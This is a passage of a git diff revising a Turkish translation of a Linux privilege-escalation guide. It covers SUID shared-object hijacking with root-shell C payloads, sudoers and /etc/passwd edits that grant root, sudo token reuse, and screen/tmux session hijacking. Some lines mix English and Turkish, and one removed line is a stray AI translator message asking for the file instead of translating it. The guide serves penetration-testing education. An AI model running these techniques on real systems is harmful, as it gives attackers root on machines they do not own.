/tmp/bash -p"); } ``` -Bu kod, derlendikten ve çalıştırıldıktan sonra, dosya izinlerini manipüle ederek ve yükseltilmiş ayrıcalıklarla bir shell çalıştırarak ayrıcalıkları yükseltmeyi amaçlar. +Bu kod, derlendikten ve çalıştırıldıktan sonra dosya izinlerini değiştirerek ve ayrıcalıklı bir shell çalıştırarak ayrıcalıkları yükseltmeyi amaçlar. -Yukarıdaki C dosyasını bir shared object (.so) dosyasına derlemek için: +Yukarıdaki C dosyasını şu komutla bir shared object (.so) dosyasına derleyin: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Son olarak, etkilenen SUID binary'yi çalıştırmak exploit'i tetiklemeli ve potansiyel olarak sistemin ele geçirilmesine izin vermelidir. +Son olarak, etkilenen SUID binary'yi çalıştırmak exploit'i tetiklemeli ve potansiyel sistem ele geçirilmesine izin vermelidir. ## Shared Object Hijacking ```bash @@ -928,7 +928,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -SUID binary'nin yazabileceğimiz bir klasörden kütüphane yüklediğini bulduğumuza göre, gerekli isimle o klasöre kütüphaneyi oluşturalım: +Yazma iznimizin olduğu bir klasörden kütüphane yükleyen bir SUID binary bulduğumuza göre, gerekli isimle kütüphaneyi o klasöre oluşturalım: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -941,17 +941,17 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -Aşağıdakine benzer bir hata alırsanız +Eğer aşağıdaki gibi bir hata alırsanız ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -bu, oluşturduğunuz kütüphanenin `a_function_name` adlı bir fonksiyon içermesi gerektiği anlamına gelir. +that means that the library you have generated need to have a function called `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) saldırganların yerel güvenlik kısıtlamalarını aşmak için istismar edebileceği Unix ikili dosyalarının küratörlüğünü yapılmış bir listesidir. [**GTFOArgs**](https://gtfoargs.github.io/) ise sadece bir komuta **argüman enjekte edebildiğiniz** durumlar için aynıdır. +[**GTFOBins**](https://gtfobins.github.io) Unix ikili dosyalarının saldırgan tarafından yerel güvenlik kısıtlamalarını aşmak için kötüye kullanılabileceği, özenle derlenmiş bir listedir. [**GTFOArgs**](https://gtfoargs.github.io/) ise aynı amaçla, bir komutta **yalnızca argüman ekleyebildiğiniz** durumlar içindir. -Proje, restricted shell'lerden çıkmak, ayrıcalıkları yükseltmek veya korumak, dosya transferi yapmak, bind ve reverse shell'ler oluşturmak ve diğer post-exploitation görevlerine yardımcı olmak için kötüye kullanılabilecek Unix ikili dosyalarının meşru fonksiyonlarını toplar. +Proje, kısıtlı shell'lerden çıkmak, yetkileri yükseltmek veya korumak, dosya transferi yapmak, bind ve reverse shell oluşturmak ve diğer post-exploitation görevlerini kolaylaştırmak için kötüye kullanılabilecek Unix ikili dosyalarının meşru fonksiyonlarını toplar. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -970,22 +970,22 @@ https://gtfoargs.github.io/ ### FallOfSudo -Eğer `sudo -l` çalıştırabiliyorsanız, herhangi bir sudo kuralını nasıl istismar edebileceğini kontrol etmek için [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) aracını kullanabilirsiniz. +If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule. ### Reusing Sudo Tokens -Parolayı bilmediğiniz ancak **sudo erişiminiz** olduğu durumlarda, bir sudo komutunun çalıştırılmasını **bekleyip oturum token'ını ele geçirerek** ayrıcalıkları yükseltebilirsiniz. +In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**. -Ayrıcalıkları yükseltmek için gereksinimler: +Requirements to escalate privileges: -- Zaten "_sampleuser_" olarak bir shell'e sahipsiniz -- "_sampleuser_" son **15 dakika** içinde bir şey çalıştırmak için **`sudo`** kullanmış (varsayılan olarak sudo token'ının parola sormadan `sudo` kullanmamıza izin verdiği süre budur) -- `cat /proc/sys/kernel/yama/ptrace_scope` değeri 0 -- `gdb` erişilebilir (yükleyebilirsiniz) +- Zaten _sampleuser_ kullanıcısı olarak bir shell'e sahipsiniz +- _sampleuser_ bir şeyi çalıştırmak için son **15 dakika** içinde **`sudo` kullanmış olmalı** (varsayılan olarak bu, `sudo`'yu parola girmeden kullanmamıza izin veren sudo tokenının süresidir) +- `cat /proc/sys/kernel/yama/ptrace_scope` 0 değerini göstermeli +- `gdb` erişilebilir olmalı (onu yükleyebilmeniz gerekir) -(Geçici olarak `ptrace_scope`'u `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ile etkinleştirebilir veya kalıcı olarak `/etc/sysctl.d/10-ptrace.conf` dosyasını değiştirip `kernel.yama.ptrace_scope = 0` olarak ayarlayabilirsiniz) +(Geçici olarak `ptrace_scope`'u etkinleştirmek için `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` komutunu kullanabilir veya kalıcı olarak `/etc/sysctl.d/10-ptrace.conf` dosyasını değiştirip `kernel.yama.ptrace_scope = 0` ayarını yapabilirsiniz) -Eğer bu gereksinimlerin hepsi sağlanıyorsa, **ayrıcalıkları şu aracı kullanarak yükseltebilirsiniz:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) - The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): ```bash @@ -993,32 +993,32 @@ bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- İkinci **exploit** (`exploit_v2.sh`) _/tmp_ içinde bir sh shell oluşturacak, **setuid ile root'a ait** +- İkinci **exploit** (`exploit_v2.sh`) _/tmp_ içinde **root'a ait ve setuid'li** bir sh shell oluşturacak. ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Bu **üçüncü exploit** (`exploit_v3.sh`) **sudoers file oluşturacak** ve bu dosya **sudo tokens'i ebedi hale getirip tüm kullanıcıların sudo kullanmasına izin verecek** +- Bu **üçüncü exploit** (`exploit_v3.sh`) **bir sudoers file oluşturacak**; bu dosya **sudo tokenlerini kalıcı hale getirecek ve tüm kullanıcıların sudo kullanmasına izin verecek** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Klasörde veya klasör içindeki oluşturulmuş dosyaların herhangi birinde **write permissions**'a sahipseniz, ikili [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) programını kullanarak bir kullanıcı ve PID için **sudo token oluşturabilirsiniz**.\ -Örneğin, _/var/run/sudo/ts/sampleuser_ dosyasını üzerine yazabiliyorsanız ve o kullanıcı olarak PID'si 1234 olan bir shell'e sahipseniz, parolayı bilmenize gerek kalmadan **sudo privileges** elde edebilirsiniz: +Klasörde veya klasör içindeki oluşturulan herhangi bir dosyada **write permissions**'a sahipseniz, ikili [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) ile bir kullanıcı ve PID için **sudo token** oluşturabilirsiniz.\ +Örneğin, _/var/run/sudo/ts/sampleuser_ dosyasını üzerine yazabiliyorsanız ve PID'si 1234 olan o kullanıcı olarak bir shell'e sahipseniz, şifreyi bilmenize gerek kalmadan şu şekilde **obtain sudo privileges**: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Dosya `/etc/sudoers` ve `/etc/sudoers.d` içindeki dosyalar kimin `sudo` kullanabileceğini ve nasıl kullanacağını yapılandırır. Bu dosyalar **varsayılan olarak sadece root kullanıcısı ve root grubu tarafından okunabilir**.\ -**Eğer** bu dosyayı **okuyabiliyorsanız** bazı ilginç bilgiler **elde edebilirsiniz**, ve eğer herhangi bir dosyaya **yazabiliyorsanız** **escalate privileges** yapabilirsiniz. +Dosya `/etc/sudoers` ve `/etc/sudoers.d` içindeki dosyalar kimin `sudo` kullanabileceğini ve nasıl kullanacağını yapılandırır. Bu dosyalar **varsayılan olarak yalnızca root kullanıcısı ve root grubu tarafından okunabilir**.\ +**Eğer** bu dosyayı **okuyabiliyorsanız** **bazı ilginç bilgiler elde edebilirsiniz**, ve eğer herhangi bir dosyayı **yazabiliyorsanız** **escalate privileges** yapabilirsiniz. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Yazma izniniz varsa bu izni kötüye kullanabilirsiniz. +Eğer yazma izniniz varsa, bu izni kötüye kullanabilirsiniz. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -1032,15 +1032,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -`sudo` ikili dosyasına bazı alternatifler vardır; örneğin OpenBSD için `doas`. Yapılandırmasını `/etc/doas.conf` dosyasında kontrol etmeyi unutmayın. +OpenBSD için `sudo` ikili dosyasının bazı alternatifleri vardır; örneğin `doas`. Yapılandırmasını `/etc/doas.conf` dosyasında kontrol etmeyi unutmayın. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Eğer bir **kullanıcının genellikle bir makineye bağlanıp ayrıcalıkları yükseltmek için `sudo` kullandığını** biliyorsanız ve o kullanıcı bağlamında bir shell elde ettiyseniz, root olarak kodunuzu çalıştırıp sonra kullanıcının komutunu yürütecek yeni bir sudo executable oluşturabilirsiniz. Ardından, kullanıcı bağlamının **$PATH**'ini (örneğin yeni yolu .bash_profile içine ekleyerek) değiştirin; böylece kullanıcı `sudo` çalıştırdığında sizin sudo executable'ınız çalıştırılır. +Eğer bir **kullanıcının genellikle bir makineye bağlanıp ayrıcalık yükseltmek için `sudo` kullandığını** biliyorsanız ve o kullanıcı bağlamında bir shell elde ettiyseniz, root olarak kodunuzu ve ardından kullanıcının komutunu çalıştıracak **yeni bir sudo yürütülebilir dosyası oluşturabilirsiniz**. Ardından, kullanıcının bağlamının **$PATH**'ini (örneğin yeni yolu `.bash_profile` içine ekleyerek) **değiştirin**, böylece kullanıcı `sudo`'yu çalıştırdığında sizin sudo yürütülebilir dosyanız çalıştırılır. -Dikkat: Kullanıcı farklı bir shell (bash olmayan) kullanıyorsa yeni yolu eklemek için başka dosyaları değiştirmeniz gerekir. Örneğin[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` dosyalarını değiştirir. Başka bir örneği [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) içinde bulabilirsiniz. +Kullanıcının farklı bir shell (bash olmayan) kullandığını unutmayın; yeni yolu eklemek için diğer dosyaları değiştirmeniz gerekecektir. Örneğin [sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` dosyalarını değiştirir. Başka bir örneği [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) içinde bulabilirsiniz. Veya şu gibi bir şey çalıştırmak: ```bash @@ -1061,12 +1061,12 @@ sudo ls ### ld.so -The file `/etc/ld.so.conf` indicates **where the loaded configurations files are from**. Typically, this file contains the following path: `include /etc/ld.so.conf.d/*.conf` +Dosya `/etc/ld.so.conf` **yüklenen yapılandırma dosyalarının nereden geldiğini gösterir**. Genellikle bu dosya şu yolu içerir: `include /etc/ld.so.conf.d/*.conf` -That means that the configuration files from `/etc/ld.so.conf.d/*.conf` will be read. This configuration files **points to other folders** where **libraries** are going to be **searched** for. For example, the content of `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **This means that the system will search for libraries inside `/usr/local/lib`**. +Bu, `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyalarının okunacağı anlamına gelir. Bu yapılandırma dosyaları **kütüphanelerin aranacağı diğer klasörleri işaret eder**. Örneğin, `/etc/ld.so.conf.d/libc.conf` içeriği `/usr/local/lib`'tür. **Bu, sistemin `/usr/local/lib` içinde kütüphaneleri arayacağı anlamına gelir**. -If for some reason **a user has write permissions** on any of the paths indicated: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, any file inside `/etc/ld.so.conf.d/` or any folder within the config file inside `/etc/ld.so.conf.d/*.conf` he may be able to escalate privileges.\ -Aşağıdaki sayfada **bu yanlış yapılandırmanın nasıl istismar edilebileceğine** bakın: +Eğer bir sebepten ötürü belirtilen yolların herhangi biri üzerinde **bir kullanıcının yazma izni** varsa: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` içindeki herhangi bir dosya veya `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyalarının işaret ettiği herhangi bir klasör — bu kullanıcı yetki yükseltmesi yapabilir.\ +Bu yanlış yapılandırmanın **nasıl istismar edileceğine** aşağıdaki sayfaya bakın: {{#ref}} @@ -1084,7 +1084,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -lib'i `/var/tmp/flag15/` dizinine kopyalarsanız, `RPATH` değişkeninde belirtildiği gibi program tarafından bu konumda kullanılacaktır. +Kütüphaneyi `/var/tmp/flag15/` dizinine kopyaladığınızda, program burada `RPATH` değişkeninde belirtildiği şekilde bunu kullanacaktır. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1093,7 +1093,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Ardından `/var/tmp` içine `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ile kötü amaçlı bir kütüphane oluşturun. +Ardından `/var/tmp` dizininde `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ile kötü amaçlı bir kütüphane oluşturun. ```c #include #define SHELL "/bin/sh" @@ -1108,8 +1108,8 @@ execve(file,argv,0); ``` ## Yetkiler -Linux capabilities, bir sürece mevcut root ayrıcalıklarının bir **alt kümesini sağlar**. Bu, root **ayrıcalıklarını daha küçük ve ayrı birimlere böler**. Bu birimlerin her biri daha sonra süreçlere bağımsız olarak verilebilir. Bu şekilde tüm ayrıcalık seti azaltılarak kötüye kullanım riskleri düşürülür.\ -Aşağıdaki sayfayı okuyarak **yetkiler ve bunların nasıl suistimal edileceği hakkında daha fazla bilgi edinin**: +Linux capabilities, bir sürece verilebilecek mevcut root ayrıcalıklarının bir **alt kümesini** sağlar. Bu, root ayrıcalıklarını daha küçük ve ayırt edici birimlere **bölerek** etkili bir şekilde parçalar. Bu birimlerin her biri daha sonra süreçlere bağımsız olarak verilebilir. Bu şekilde ayrıcalıkların tam seti azaltılır ve istismar riskleri düşer.\ +Capabilities'ler ve bunların nasıl kötüye kullanılacağı hakkında **daha fazlasını öğrenmek** için aşağıdaki sayfayı okuyun: {{#ref}} @@ -1118,39 +1118,39 @@ linux-capabilities.md ## Dizin izinleri -Bir dizinde, **"execute" biti** etkilenen kullanıcının klasöre "**cd**" yapabilmesini ifade eder.\ -**"read"** biti kullanıcının **dosyaları listeleyebilmesini**, ve **"write"** biti kullanıcının yeni **dosyalar** **oluşturup silebilmesini** ifade eder. +Bir dizinde, **"execute" biti** etkilenen kullanıcının klasöre "**cd**" ile girebileceğini ifade eder.\ +**"read"** biti kullanıcının **dosyaları listeleyebileceğini**, ve **"write"** biti kullanıcının yeni **dosyalar oluşturma** ve **dosyaları silme** yetkisine sahip olduğunu gösterir. ## ACLs -Access Control Lists (ACLs), isteğe bağlı izinlerin ikincil katmanını temsil eder ve geleneksel ugo/rwx izinlerini **geçersiz kılabilir**. Bu izinler, sahip olmayan veya grup üyesi olmayan belirli kullanıcılara hakları verip reddederek dosya veya dizin erişimi üzerinde daha fazla kontrol sağlar. Bu **ayrıntı düzeyi**, daha hassas erişim yönetimi sağlar. Daha fazla detay için [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux) adresine bakın. +Access Control Lists (ACLs), geleneksel **ugo/rwx izinlerini geçersiz kılabilen** isteğe bağlı izinlerin ikincil katmanını temsil eder. Bu izinler, dosya veya dizin erişimi üzerinde kontrolü artırarak sahip olmayan veya grubun bir parçası olmayan belirli kullanıcılara hak verip/engelleyebilir. Bu düzeydeki **granülerlik daha hassas erişim yönetimi sağlar**. Daha fazla ayrıntı için [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux) adresine bakabilirsiniz. -**Verin** kullanıcı "kali"ye bir dosya üzerinde okuma ve yazma izinleri: +**Ver** kullanıcı "kali"ya bir dosya üzerinde read ve write izinleri: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Alın** sistemden belirli ACL'lere sahip dosyaları: +**Get** sistemden belirli ACL'lere sahip dosyaları: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Açık shell oturumları +## Açık shell sessions -Eski **sürümlerde**, farklı bir kullanıcının (**root**) bazı **shell** oturumlarını **hijack** edebilirsiniz.\ -En **yeni sürümlerde**, sadece **kendi kullanıcınızın** screen oturumlarına **connect** olabilirsiniz. Ancak, oturumun içinde **oturumun içinde ilginç bilgiler** bulabilirsiniz. +**Eski sürümlerde** farklı bir kullanıcının (**root**) bazı **shell** oturumlarını **hijack** edebilirsiniz.\ +**En yeni sürümlerde** yalnızca **kendi kullanıcı hesabınızın** **screen sessions**'larına **connect** edebileceksiniz. Ancak **oturumun içindeki ilginç bilgiler** bulabilirsiniz. ### screen sessions hijacking -**Screen oturumlarını listele** +**screen sessions'i listele** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**Bir oturuma bağlan** +**Bir session'a bağlan** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image @@ -1158,10 +1158,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Bu, **eski tmux sürümleri** ile ilgili bir sorundu. -root tarafından oluşturulmuş bir tmux (v2.1) session'ını ayrıcalıksız bir kullanıcı olarak hijack edemedim. +Bu, **eski tmux sürümleri**yle ilgili bir sorundu. Ayrıcalıksız bir kullanıcı olarak root tarafından oluşturulmuş tmux (v2.1) oturumunu hijack edemedim. -**List tmux sessions** +**tmux oturumlarını listele** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1169,7 +1168,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**Session'a bağlan** +**Oturuma bağlan** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1179,53 +1178,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** için bir örneğe bakın. +Check **Valentine box from HTB** for an example. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Eylül 2006 ile 13 Mayıs 2008 arasında Debian tabanlı sistemlerde (Ubuntu, Kubuntu, vb.) oluşturulan tüm SSL ve SSH anahtarları bu hata tarafından etkilenmiş olabilir.\ -Bu hata, bu işletim sistemlerinde yeni bir ssh anahtarı oluşturulurken ortaya çıkar, çünkü **sadece 32,768 varyasyon mümkündü**. Bu, tüm olasılıkların hesaplanabileceği ve **ssh public key'e sahip olduğunuzda karşılık gelen private key'i arayabileceğiniz** anlamına gelir. Hesaplanmış olasılıkları burada bulabilirsiniz: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ +This bug is caused when creating a new ssh key in those OS, as **only 32,768 variations were possible**. This means that all the possibilities can be calculated and **having the ssh public key you can search for the corresponding private key**. You can find the calculated possibilities here: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH İlginç yapılandırma değerleri +### SSH Interesting configuration values -- **PasswordAuthentication:** Parola ile kimlik doğrulamanın izin verilip verilmediğini belirtir. Varsayılan `no`'dur. -- **PubkeyAuthentication:** Public key ile kimlik doğrulamanın izin verilip verilmediğini belirtir. Varsayılan `yes`'tir. -- **PermitEmptyPasswords**: Parola ile kimlik doğrulama izinliyse, sunucunun boş parola dizelerine sahip hesaplara girişe izin verip vermediğini belirtir. Varsayılan `no`'dur. +- **PasswordAuthentication:** Parola ile kimlik doğrulamanın izinli olup olmadığını belirtir. Varsayılan `no`'dur. +- **PubkeyAuthentication:** Public key ile kimlik doğrulamanın izinli olup olmadığını belirtir. Varsayılan `yes`'tir. +- **PermitEmptyPasswords**: Parola ile kimlik doğrulama izinliyse, sunucunun boş parola dizeleri olan hesaplara girişe izin verip vermediğini belirtir. Varsayılan `no`'dur. ### PermitRootLogin -root'un ssh kullanarak oturum açıp açamayacağını belirtir, varsayılan `no`'dur. Olası değerler: +root'un ssh kullanarak giriş yapıp yapamayacağını belirtir, varsayılan `no`'dur. Olası değerler: -- `yes`: root password ve private key kullanarak oturum açabilir -- `without-password` veya `prohibit-password`: root sadece private key ile oturum açabilir -- `forced-commands-only`: root sadece private key ile ve commands opsiyonları belirtilmişse oturum açabilir -- `no` : izin yok +- `yes`: root parola veya private key ile giriş yapabilir +- `without-password` or `prohibit-password`: root sadece private key ile giriş yapabilir +- `forced-commands-only`: root yalnızca private key kullanarak ve command seçenekleri belirtilmişse giriş yapabilir +- `no` : giriş yasak ### AuthorizedKeysFile -Kullanıcı kimlik doğrulaması için kullanılabilecek public key'leri içeren dosyaları belirtir. `%h` gibi tokenlar içerebilir; bu tokenlar home dizini ile değiştirilir. **Mutlak yollar** ( `/` ile başlayan) veya **kullanıcının home'undan göreli yollar** belirtebilirsiniz. Örneğin: +Kullanıcı kimlik doğrulaması için kullanılabilecek public keys'i içeren dosyaları belirtir. `%h` gibi tokenler içerebilir; bu tokenler kullanıcı ev dizini ile değiştirilecektir. **Absolute path'leri belirtebilirsiniz** ( `/` ile başlayan) veya **kullanıcının home dizininden göreli path'ler** kullanabilirsiniz. Örneğin: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access` +Bu yapılandırma, eğer "**testusername**" kullanıcısının **private** key'i ile giriş yapmaya çalışırsanız, ssh key'inizin public key'ini `/home/testusername/.ssh/authorized_keys` ve `/home/testusername/access` içindekilerle karşılaştıracağını belirtir. ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding allows you to **use your local SSH keys instead of leaving keys** (without passphrases!) sitting on your server. So, you will be able to **jump** via ssh **to a host** and from there **jump to another** host **using** the **key** located in your **initial host**. +SSH agent forwarding, sunucunuzda keys (without passphrases!) bırakmak yerine **use your local SSH keys instead of leaving keys** yapmanızı sağlar. Böylece ssh ile **jump** **to a host** yapabilir ve oradan **jump to another** host'a **using** the **key** located in your **initial host** bağlanabilirsiniz. -You need to set this option in `$HOME/.ssh.config` like this: +Bu seçeneği $HOME/.ssh.config içinde şu şekilde ayarlamanız gerekir: ``` Host example.com ForwardAgent yes ``` -Dikkat: eğer `Host` `*` ise kullanıcı her farklı makineye geçtiğinde o host anahtarlara erişebilecek (bu bir güvenlik sorunudur). +Dikkat: Eğer `Host` `*` ise kullanıcı her farklı makineye geçtiğinde o makine anahtarlara erişebilecek (bu bir güvenlik sorunudur). -Dosya `/etc/ssh_config` bu **seçenekleri** **ezebilir** ve bu yapılandırmaya izin verebilir ya da engelleyebilir.\ -Dosya `/etc/sshd_config` `AllowAgentForwarding` anahtar kelimesiyle ssh-agent forwarding'e izin verebilir veya engelleyebilir (varsayılan izinlidir). +The file `/etc/ssh_config` can **geçersiz kılabilir** bu seçenekleri ve bu yapılandırmaya izin verebilir veya engelleyebilir.\ +The file `/etc/sshd_config` can `AllowAgentForwarding` anahtar kelimesi ile ssh-agent forwarding'e izin verebilir veya engelleyebilir (varsayılan: izin ver). -Eğer bir ortamda Forward Agent yapılandırıldığını görürseniz aşağıdaki sayfayı okuyun çünkü **bunu kötüye kullanarak ayrıcalıkları yükseltebilirsiniz**: +If you find that Forward Agent is configured in an environment read the following page as **bunu yetki yükseltmek için kötüye kullanabilirsiniz**: {{#ref}} @@ -1234,73 +1233,67 @@ ssh-forward-agent-exploitation.md ## İlginç Dosyalar -### Profile dosyaları +### Profil dosyaları -Dosya `/etc/profile` ve `/etc/profile.d/` altındaki dosyalar, **bir kullanıcı yeni bir shell çalıştırdığında çalıştırılan scriptlerdir**. Bu nedenle, bunlardan herhangi birini **yazabiliyor veya değiştirebiliyorsanız ayrıcalıkları yükseltebilirsiniz**. +The file `/etc/profile` and the files under `/etc/profile.d/` are **çalıştırılan betiklerdir** when a user runs a new shell. Therefore, if you can **write or modify any of them you can escalate privileges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -If any weird profile script is found you should check it for **sensitive details**. +Eğer garip bir profile script bulunursa, **hassas bilgiler** için kontrol etmelisiniz. ### Passwd/Shadow Dosyaları -İşletim sistemine bağlı olarak `/etc/passwd` ve `/etc/shadow` dosyaları farklı isimlerde olabilir veya yedekleri bulunabilir. Bu yüzden **hepsini bulmanız** ve **okuyup okuyamadığınızı kontrol etmeniz**, dosyaların içinde **hashes** olup olmadığını görmek için önerilir: +İşletim sistemine bağlı olarak `/etc/passwd` ve `/etc/shadow` dosyaları farklı bir isimle olabilir veya bir yedeği bulunabilir. Bu yüzden **tümünü bulmanız** ve dosyaları **okuyup okuyamayacağınızı kontrol etmeniz**, içlerinde **hashes** olup olmadığını görmek için önerilir: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Bazı durumlarda `/etc/passwd` (veya eşdeğer) dosyasının içinde **password hashes** bulabilirsiniz. +Bazı durumlarda `/etc/passwd` (veya eşdeğer) dosyası içinde **password hashes** bulunabilir ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### Yazılabilir /etc/passwd -İlk olarak, aşağıdaki komutlardan biriyle bir password oluşturun. +Öncelikle, aşağıdaki komutlardan biriyle bir parola oluşturun. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -I don't have the file content. Please paste the contents of src/linux-hardening/privilege-escalation/README.md that you want translated. - -Also confirm how you want the `hacker` user added: -- Should I append a code example to the translated README showing the commands to create the user and set a generated password? -- If yes, do you want me to generate a random password now (specify length/complexity) and include it in the README, or leave a placeholder for you to replace? - -Answer these and paste the README content, and I'll return the translated Markdown with the requested user/password snippet. +Daha sonra `hacker` kullanıcısını ekleyin ve oluşturulan parolayı ekleyin. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Örnek: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Örneğin: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Artık `su` komutunu `hacker:hacker` ile kullanabilirsiniz. +Artık `su` komutunu `hacker:hacker` ile kullanabilirsiniz Alternatif olarak, parola olmadan sahte bir kullanıcı eklemek için aşağıdaki satırları kullanabilirsiniz.\ -UYARI: makinenin mevcut güvenliğini zayıflatabilirsiniz. +UYARI: bu, makinenin mevcut güvenliğini düşürebilir. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOT: BSD platformlarında `/etc/passwd` `/etc/pwd.db` ve `/etc/master.passwd`'de bulunur; ayrıca `/etc/shadow` `/etc/spwd.db` olarak yeniden adlandırılmıştır. +NOT: BSD platformlarında `/etc/passwd` dosyası `/etc/pwd.db` ve `/etc/master.passwd` olarak bulunur, ayrıca `/etc/shadow` yeniden adlandırılarak `/etc/spwd.db` olmuştur. -Bazı hassas dosyalara **yazıp yazamayacağınızı** kontrol etmelisiniz. Örneğin, herhangi bir **servis yapılandırma dosyasına** yazabiliyor musunuz? +Bazı **hassas dosyalara yazıp yazamayacağınızı** kontrol etmelisiniz. Örneğin, bazı **servis yapılandırma dosyalarına** yazabiliyor musunuz? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Örneğin, makinede bir **tomcat** sunucusu çalışıyorsa ve **modify the Tomcat service configuration file inside /etc/systemd/,** yapabiliyorsanız, şu satırları değiştirebilirsiniz: +Örneğin, makine bir 